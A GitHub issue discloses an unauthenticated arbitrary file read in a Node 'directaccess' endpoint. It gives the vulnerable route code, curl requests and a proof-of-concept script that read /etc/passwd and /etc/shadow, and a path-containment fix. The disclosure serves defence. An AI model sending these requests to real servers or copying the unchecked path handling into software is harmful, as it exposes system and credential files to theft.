Skip to content

Unauthenticated Arbitrary File Read #80

Description

@AAtomical

Summary

/directaccess/read-file?path= accepts an attacker-controlled path, resolves it with path.resolve() (no containment), and streams the file back. No authentication. Server binds all interfaces on port 7070.

Root Cause

app.get('/read-file', (req, res) => {
    const filePath = req.query.path ? path.resolve(req.query.path) : null;
    // no base-directory check
    fs.createReadStream(filePath).pipe(res);
});

path.resolve(userInput) returns an absolute path with no restriction. The result is passed directly to createReadStream.

Exploit

curl "http://<host>:7070/directaccess/read-file?path=/etc/passwd"
curl "http://<host>:7070/directaccess/read-file?path=/etc/shadow"

poc.js

const http = require("http");
const express = require("express");
const directAccess = require("neurite-directaccess/direct-access");

const app = express();
app.use("/directaccess", directAccess);

const server = http.createServer(app);
server.listen(0, "127.0.0.1", () => {
  const { port } = server.address();
  http.get(
    `http://127.0.0.1:${port}/directaccess/read-file?path=/etc/passwd`,
    (res) => {
      let body = "";
      res.on("data", (c) => (body += c));
      res.on("end", () => {
        const ok = body.includes("root:");
        console.log(ok ? "VULNERABLE" : "NOT CONFIRMED");
        console.log(body.slice(0, 120));
        server.close();
        process.exit(ok ? 0 : 1);
      });
    }
  );
});
image image

Impact

Any file readable by the Node process is exfiltrated over the network without authentication. CORS is the only middleware — it restricts browser-origin requests but not direct HTTP clients.

Bonus: /directaccess/navigate?path=/ returns arbitrary directory listings with the same lack of containment.

Fix

Resolve against a base directory and reject escapes:

const base = path.resolve(allowedRoot);
const resolved = path.resolve(base, req.query.path);
if (!resolved.startsWith(base + path.sep)) {
    return res.status(403).json({ error: 'Forbidden' });
}

I opened a fix commit to fix this vulnerability #79

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions